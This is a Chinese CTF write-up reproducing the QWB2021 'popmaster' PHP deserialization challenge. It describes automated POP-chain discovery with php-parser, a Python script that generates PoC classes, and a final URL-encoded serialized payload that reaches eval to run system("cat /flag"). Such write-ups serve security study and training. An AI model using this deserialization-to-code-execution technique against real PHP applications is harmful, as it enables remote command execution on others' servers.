[强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

2023-12-09 19:18
文章标签 记录 复现 2021 强网杯 quals xbuuctf qwb2021 popmaster

本文主要是介绍[强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

给自动化代码审计的大佬跪了。
出题人写的WP在这里：强网杯[pop_master]与[陀那多]赛题的出题记录
复现可以到BUUCTF，启动[QWB2021 Quals]popmaster这道题就ok。
按大佬的解法，首先要安装php-parser,把题目的代码转换成抽象语法树，实际上这道题就是一个图的可达路径搜索问题。
这里在kali安装一波php-parser:
1.wget https://getcomposer.org/installer
在这里插入图片描述
2.mv installer installer.php
3.php installer.php
在这里插入图片描述
出现这个说明前置要求的composer.phar安装成功，在当前目录下就会多出来一个叫composer.phar的东西
4.php composer.phar require nikic/php-parser
在这里插入图片描述
至此php-parser安装成功。
然后把大佬的EXP下下来，解压到当前目录中
然后将赛题中class.php的内容复制到本exp的code.php中。
然后将mian.php中的全局变量中的入口方法与入口参数名赋值
运行main.php：
在这里插入图片描述
成功找到一条pop链。

ZChdNQ======>dBIySo======>X0l7ws======>LyI1rT======>duxg5w======>D2VmWz======>w5pPNI======>x5cLyL======>Ga3P6G======>GVcxei======>Y4BK4w======>pYekV8======>hsrB5s======>kL7zby======>HbQCtF======>KXgmGS======>BVZEev======>Lutxdu======>TZMXmr======>xB56gm======>EfPQZq======>k1UgFG======>eval

写了一段python代码来生成php的poc:

# -*- coding: utf-8 -*-
#本代码运行在python2.7下
import linecache
classphp = "C:/Users/root/Desktop/class.php.txt"
f = open(classphp)               # 返回一个文件对象
line = f.readline()
linenum = 1
pop = "bqoNH6======>U3GR5Y======>yZ135Z======>PEmYsT======>xTOweR======>kdYRCK======>p9g5V9======>z2B2Yy======>zyPbQC======>GUFeql======>ZUMG5r======>H9G1mh======>XePAh8======>fpPqVg======>YNBWxQ======>tE6Eu5======>UhnEew======>pP2Nyq======>a2w5hk======>EYafpg======>YlEyzo======>l94Kwx======>eval"
poplist = pop.split("======>")
popstartindex = range(0,len(poplist)-1)
popendindex = range(0,len(poplist)-1)
while line:linenum+=1line = f.readline()for i in range(0,len(poplist)-1):if line.find(poplist[i])!=-1 and line.find("{")!=-1:for j in range(0,30):if linecache.getline(classphp, linenum-j).find("class") != -1 and linecache.getline(classphp, linenum-j).find("{")!=-1:popstartindex[i] = linenum-jbreakfor j in range(0, 30):if linecache.getline(classphp, linenum + j).find("class") != -1 and linecache.getline(classphp, linenum+j).find("{") != -1:popendindex[i] = linenum + jbreakcontinue
f.close()
#生成php的exp
print("<?php")
for i in range(0,len(poplist)-1):for j in range(popstartindex[i],popendindex[i]):print(linecache.getline(classphp,j).replace("\n",""))
for i in range(0,len(poplist)-1):for j in range(popstartindex[i], popendindex[i]):if(linecache.getline(classphp,j).find("class")!=-1 and linecache.getline(classphp,j).find("{")!=-1):s = linecache.getline(classphp,j)s = s.replace("{","();")s = s.replace("class","new")s = s.replace("\n", "")print "$a"+str(i)+" = "+s
for i in range(0,len(poplist)-1):if(i < len(poplist)-1):for j in range(popstartindex[i], popendindex[i]):if (linecache.getline(classphp, j).find("public $") != -1):s = linecache.getline(classphp, j).replace("public $", "")s = s.replace(";", "")s = s.replace("    ", "")s = s.replace("\n", "")print("$a" + str(i) + "->" + s + "=" + "$a" + str(i + 1) + ";")else:print ("$a"+str(i)+"->"++"="+"$_POST['cmd']")

得到poc:

<?php
class L7UHD6{public $nHWOwmq;public function xbepUT($dV2ZO){if(45016>39692){$dV2ZO = $dV2ZO.'wHmK0';}if(method_exists($this->nHWOwmq, 'mAbmf6')) $this->nHWOwmq->mAbmf6($dV2ZO);if(method_exists($this->nHWOwmq, 'rcLD5G')) $this->nHWOwmq->rcLD5G($dV2ZO);}public function VTtOt1($gIpCX){for($i = 0; $i < 26; $i ++){$au0wPm= $gIpCX;}if(method_exists($this->nHWOwmq, 'Vf56w8')) $this->nHWOwmq->Vf56w8($gIpCX);if(method_exists($this->nHWOwmq, 'H71Z97')) $this->nHWOwmq->H71Z97($gIpCX);}
}class YyaVmX{public $LBhGiW0;public function C7F7Xa($aAsyu){$aAsyu='LbsMN';eval($aAsyu);}public function mAbmf6($PTDrM){for($i = 0; $i < 23; $i ++){$aFkirt= $PTDrM;}$this->LBhGiW0->BHGNSG($PTDrM);}
}class FPlBKG{public $YV1W3IV;public function yKpHBF($VC23m){for($i = 0; $i < 7; $i ++){$agyI1z= $VC23m;}if(method_exists($this->YV1W3IV, 'tumiOO')) $this->YV1W3IV->tumiOO($VC23m);if(method_exists($this->YV1W3IV, 'gguM56')) $this->YV1W3IV->gguM56($VC23m);}public function BHGNSG($AGPDQ){if(1366>45772){$AGPDQ = $AGPDQ.'XupC5';}$this->YV1W3IV->ITqWW2($AGPDQ);}
}class kCZ5P4{public $SuxNbbP;public function lGVgt2($g7FMP){for($i = 0; $i < 3; $i ++){$g7FMP= $sFwFD;}eval($g7FMP);}public function ITqWW2($yukip){$this->UtURv = "X7Eg4";$this->SuxNbbP->oMvqkv($yukip);}
}class fhGDEo{public $c8Un3Pc;public function GGs2Tx($waoG6){eval($waoG6);}public function oMvqkv($GeGy2){$this->cM4xY = "xIS1c";$this->c8Un3Pc->msMgDb($GeGy2);}
}class qZgqTN{public $AanVLGe;public function msMgDb($hiIFc){$this->rlETt = "PxSDM";if(method_exists($this->AanVLGe, 'hZChcd')) $this->AanVLGe->hZChcd($hiIFc);if(method_exists($this->AanVLGe, 'v05w7c')) $this->AanVLGe->v05w7c($hiIFc);}public function dg8ecu($vkPSz){for($i = 0; $i < 3; $i ++){$aZTyWy= $vkPSz;}$this->AanVLGe->CNnFdI($vkPSz);}
}class XyhYtb{public $xEGEy7K;public function hZChcd($S5KoL){$this->QlrMr = "UnRom";if(method_exists($this->xEGEy7K, 'x8iwgk')) $this->xEGEy7K->x8iwgk($S5KoL);if(method_exists($this->xEGEy7K, 'wkd2WW')) $this->xEGEy7K->wkd2WW($S5KoL);}public function WMtbwZ($ugsdY){$this->N4yEy = "UvvRN";eval($ugsdY);}
}class suL25R{public $bz6H98l;public function x8iwgk($QrGk8){$this->XnLoL = "Xwudp";if(method_exists($this->bz6H98l, 'PcquZZ')) $this->bz6H98l->PcquZZ($QrGk8);if(method_exists($this->bz6H98l, 'sFGeyF')) $this->bz6H98l->sFGeyF($QrGk8);}public function FWq4lD($rqPwp){eval($rqPwp);}
}class DLGUGZ{public $FwX8fKY;public function sFGeyF($XzG6P){for($i = 0; $i < 22; $i ++){$aiuTZa= $XzG6P;}$this->FwX8fKY->ti9YlF($XzG6P);}public function dm4bGP($gqoRh){for($i = 0; $i < 0; $i ++){$aCumW9= $gqoRh;}if(method_exists($this->FwX8fKY, 'akEghP')) $this->FwX8fKY->akEghP($gqoRh);if(method_exists($this->FwX8fKY, 'bPN2Nx')) $this->FwX8fKY->bPN2Nx($gqoRh);}
}class A5SQm0{public $sfVD9z1;public function ti9YlF($wV3Ig){for($i = 0; $i < 1; $i ++){$aCHhiQ= $wV3Ig;}if(method_exists($this->sfVD9z1, 'tYwP6S')) $this->sfVD9z1->tYwP6S($wV3Ig);if(method_exists($this->sfVD9z1, 'kkWKI2')) $this->sfVD9z1->kkWKI2($wV3Ig);}public function EGyMsQ($sOzws){eval($sOzws);}
}class HXf222{public $umxT6cV;public function kkWKI2($DpQYt){$this->bV86G = "qW8tN";if(method_exists($this->umxT6cV, 'RBXeSg')) $this->umxT6cV->RBXeSg($DpQYt);if(method_exists($this->umxT6cV, 'i0URsO')) $this->umxT6cV->i0URsO($DpQYt);}public function vdQxOo($XY7aa){for($i = 0; $i < 21; $i ++){$XY7aa= $Sl9Kd;}if(method_exists($this->umxT6cV, 'VmSVuq')) $this->umxT6cV->VmSVuq($XY7aa);if(method_exists($this->umxT6cV, 'GhFnwk')) $this->umxT6cV->GhFnwk($XY7aa);}
}class gDnfK9{public $TxB0FdF;public function RBXeSg($bF4BC){$this->H3vLG = "v2w10";if(method_exists($this->TxB0FdF, 'zTkOnG')) $this->TxB0FdF->zTkOnG($bF4BC);if(method_exists($this->TxB0FdF, 'G0ioTK')) $this->TxB0FdF->G0ioTK($bF4BC);}public function oplEGY($QGyHC){$this->ypak3 = "HMUxr";if(method_exists($this->TxB0FdF, 'mIrTr2')) $this->TxB0FdF->mIrTr2($QGyHC);if(method_exists($this->TxB0FdF, 'EVAhi7')) $this->TxB0FdF->EVAhi7($QGyHC);}
}class D8UAmt{public $izw1YVT;public function zTkOnG($vmaCD){$this->qv4A9 = "wW7ee";$this->izw1YVT->ODsdNW($vmaCD);}public function l6fzen($Iz4xl){$this->iyZkT = "BwaGt";$this->izw1YVT->dr6ybG($Iz4xl);}
}class D8WX2Q{public $iiirsPe;public function ODsdNW($Rrp6q){for($i = 0; $i < 26; $i ++){$aOWEiN= $Rrp6q;}if(method_exists($this->iiirsPe, 'tYWHfI')) $this->iiirsPe->tYWHfI($Rrp6q);if(method_exists($this->iiirsPe, 'qtRRwg')) $this->iiirsPe->qtRRwg($Rrp6q);}public function khXStd($xx5AI){for($i = 0; $i < 24; $i ++){$atgh0U= $xx5AI;}if(method_exists($this->iiirsPe, 'gCBRhG')) $this->iiirsPe->gCBRhG($xx5AI);if(method_exists($this->iiirsPe, 'K9YqDl')) $this->iiirsPe->K9YqDl($xx5AI);}
}class EVAmyn{public $mUISnWb;public function yvGxsq($G9hkX){$this->ZR23N = "GvYES";if(method_exists($this->mUISnWb, 'ssR1IV')) $this->mUISnWb->ssR1IV($G9hkX);if(method_exists($this->mUISnWb, 'wFmoAx')) $this->mUISnWb->wFmoAx($G9hkX);}public function tYWHfI($yN6Eu){if(52033>2482){$yN6Eu = $yN6Eu.'SGu6E';}if(method_exists($this->mUISnWb, 'x43ZTL')) $this->mUISnWb->x43ZTL($yN6Eu);if(method_exists($this->mUISnWb, 'dQMl9g')) $this->mUISnWb->dQMl9g($yN6Eu);}
}class cDuVyQ{public $VLDgIsu;public function x43ZTL($SHUc7){for($i = 0; $i < 30; $i ++){$asUMta= $SHUc7;}if(method_exists($this->VLDgIsu, 'ebiPNb')) $this->VLDgIsu->ebiPNb($SHUc7);if(method_exists($this->VLDgIsu, 'BGYfdR')) $this->VLDgIsu->BGYfdR($SHUc7);}public function IP5InO($OitLV){$OitLV='ui9fy';eval($OitLV);}
}class vD3i0B{public $ga4GK57;public function uUiXD0($iuWYO){if(3909>32143){$iuWYO = $iuWYO.'FUVHe';}$this->ga4GK57->sW3R98($iuWYO);}public function ebiPNb($hwCNG){$this->pzzE8 = "Hlx2G";$this->ga4GK57->gSBlTm($hwCNG);}
}class N2Dy79{public $ReDc2ZH;public function gSBlTm($gFNi2){$this->SSi7T = "Tmb28";if(method_exists($this->ReDc2ZH, 'ayZmI3')) $this->ReDc2ZH->ayZmI3($gFNi2);if(method_exists($this->ReDc2ZH, 'PdKLEU')) $this->ReDc2ZH->PdKLEU($gFNi2);}public function zpKlgI($l9lUk){$this->FDN9G = "wqgFa";if(method_exists($this->ReDc2ZH, 'tIYgva')) $this->ReDc2ZH->tIYgva($l9lUk);if(method_exists($this->ReDc2ZH, 'pH3TWQ')) $this->ReDc2ZH->pH3TWQ($l9lUk);}
}class az2d5x{public $aaSROLe;public function ayZmI3($KVfRN){if(12818>22299){$KVfRN = $KVfRN.'xoTGc';}$this->aaSROLe->UUqav0($KVfRN);}public function tYRTEy($egmfS){for($i = 0; $i < 15; $i ++){$aQKoAF= $egmfS;}$this->aaSROLe->BnYLZl($egmfS);}
}class d0UxDv{public $wkvASs6;public function SxOyYw($EgxFz){$this->KXDQF = "WP7QA";eval($EgxFz);}public function UUqav0($s1mew){if(52050>20186){$s1mew = $s1mew.'RgmkC';}$this->wkvASs6->TbGxG5($s1mew);}
}
class HclckR{public $QIlLvkK;public function cLHWvn($eEipn){if(24817>22370){$eEipn = $eEipn.'cc1eG';}$this->QIlLvkK->PiLK0i($eEipn);}public function TbGxG5($YcxIx){for($i = 0; $i < 10; $i ++){$aTNhpa= $YcxIx;}$this->QIlLvkK->F5UkVr($YcxIx);}
}
class gp2b2g{public $xv9AHCl;public function nOVnqx($lgspc){$this->gggqP = "rMyHa";$this->xv9AHCl->ACCxak($lgspc);}public function F5UkVr($h9lGB){for($i = 0; $i < 36; $i ++){$aPITGf= $h9lGB;}$this->xv9AHCl->htVHuV($h9lGB);}
}
class OOxBSs{public $xt66alQ;public function gwz5Lo($bhyKR){if(30529>49808){$bhyKR = $bhyKR.'hTHz9';}$this->xt66alQ->cH2bOt($bhyKR);}public function htVHuV($VpGQd){if(63158>2952){$VpGQd = $VpGQd.'QkEie';}if(method_exists($this->xt66alQ, 'C38qDA')) $this->xt66alQ->C38qDA($VpGQd);if(method_exists($this->xt66alQ, 'a0YLHW')) $this->xt66alQ->a0YLHW($VpGQd);}
}
class OseZYk{public $BWu6mc5;public function LtGuap($qrXpU){eval($qrXpU);}public function C38qDA($xbly4){if(20950>43181){$xbly4 = $xbly4.'nEdmR';}eval($xbly4);}
}
$a0 = new L7UHD6();
$a1 = new YyaVmX();
$a2 = new FPlBKG();
$a3 = new kCZ5P4();
$a4 = new fhGDEo();
$a5 = new qZgqTN();
$a6 = new XyhYtb();
$a7 = new suL25R();
$a8 = new DLGUGZ();
$a9 = new A5SQm0();
$a10 = new HXf222();
$a11 = new gDnfK9();
$a12 = new D8UAmt();
$a13 = new D8WX2Q();
$a14 = new EVAmyn();
$a15 = new cDuVyQ();
$a16 = new vD3i0B();
$a17 = new N2Dy79();
$a18 = new az2d5x();
$a19 = new d0UxDv();
$a20 = new HclckR();
$a21 = new gp2b2g();
$a22 = new OOxBSs();
$a23 = new OseZYk();
$a0->nHWOwmq=$a1;
$a1->LBhGiW0=$a2;
$a2->YV1W3IV=$a3;
$a3->SuxNbbP=$a4;
$a4->c8Un3Pc=$a5;
$a5->AanVLGe=$a6;
$a6->xEGEy7K=$a7;
$a7->bz6H98l=$a8;
$a8->FwX8fKY=$a9;
$a9->sfVD9z1=$a10;
$a10->umxT6cV=$a11;
$a11->TxB0FdF=$a12;
$a12->izw1YVT=$a13;
$a13->iiirsPe=$a14;
$a14->mUISnWb=$a15;
$a15->VLDgIsu=$a16;
$a16->ga4GK57=$a17;
$a17->ReDc2ZH=$a18;
$a18->aaSROLe=$a19;
$a19->wkvASs6=$a20;
$a20->QIlLvkK=$a21;
$a21->xv9AHCl=$a22;
$a22->xt66alQ=$a23;

然而根据该poc生成的EXP报错了：
在这里插入图片描述
在本地调试之后发现是因为代码中有一些类添加了永真条件下对eval参数添加后缀导致eval执行失败：
在这里插入图片描述
所以这里尝试在后面加一个注释符//把后面的字符串注释掉：
最终EXP:

?pop=O%3A6%3A%22L7UHD6%22%3A1%3A%7Bs%3A7%3A%22nHWOwmq%22%3BO%3A6%3A%22YyaVmX%22%3A1%3A%7Bs%3A7%3A%22LBhGiW0%22%3BO%3A6%3A%22FPlBKG%22%3A1%3A%7Bs%3A7%3A%22YV1W3IV%22%3BO%3A6%3A%22kCZ5P4%22%3A1%3A%7Bs%3A7%3A%22SuxNbbP%22%3BO%3A6%3A%22fhGDEo%22%3A1%3A%7Bs%3A7%3A%22c8Un3Pc%22%3BO%3A6%3A%22qZgqTN%22%3A1%3A%7Bs%3A7%3A%22AanVLGe%22%3BO%3A6%3A%22XyhYtb%22%3A1%3A%7Bs%3A7%3A%22xEGEy7K%22%3BO%3A6%3A%22suL25R%22%3A1%3A%7Bs%3A7%3A%22bz6H98l%22%3BO%3A6%3A%22DLGUGZ%22%3A1%3A%7Bs%3A7%3A%22FwX8fKY%22%3BO%3A6%3A%22A5SQm0%22%3A1%3A%7Bs%3A7%3A%22sfVD9z1%22%3BO%3A6%3A%22HXf222%22%3A1%3A%7Bs%3A7%3A%22umxT6cV%22%3BO%3A6%3A%22gDnfK9%22%3A1%3A%7Bs%3A7%3A%22TxB0FdF%22%3BO%3A6%3A%22D8UAmt%22%3A1%3A%7Bs%3A7%3A%22izw1YVT%22%3BO%3A6%3A%22D8WX2Q%22%3A1%3A%7Bs%3A7%3A%22iiirsPe%22%3BO%3A6%3A%22EVAmyn%22%3A1%3A%7Bs%3A7%3A%22mUISnWb%22%3BO%3A6%3A%22cDuVyQ%22%3A1%3A%7Bs%3A7%3A%22VLDgIsu%22%3BO%3A6%3A%22vD3i0B%22%3A1%3A%7Bs%3A7%3A%22ga4GK57%22%3BO%3A6%3A%22N2Dy79%22%3A1%3A%7Bs%3A7%3A%22ReDc2ZH%22%3BO%3A6%3A%22az2d5x%22%3A1%3A%7Bs%3A7%3A%22aaSROLe%22%3BO%3A6%3A%22d0UxDv%22%3A1%3A%7Bs%3A7%3A%22wkvASs6%22%3BO%3A6%3A%22HclckR%22%3A1%3A%7Bs%3A7%3A%22QIlLvkK%22%3BO%3A6%3A%22gp2b2g%22%3A1%3A%7Bs%3A7%3A%22xv9AHCl%22%3BO%3A6%3A%22OOxBSs%22%3A1%3A%7Bs%3A7%3A%22xt66alQ%22%3BO%3A6%3A%22OseZYk%22%3A1%3A%7Bs%3A7%3A%22BWu6mc5%22%3BN%3B%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D&argv=system("cat /flag");//

拿到flag:
在这里插入图片描述

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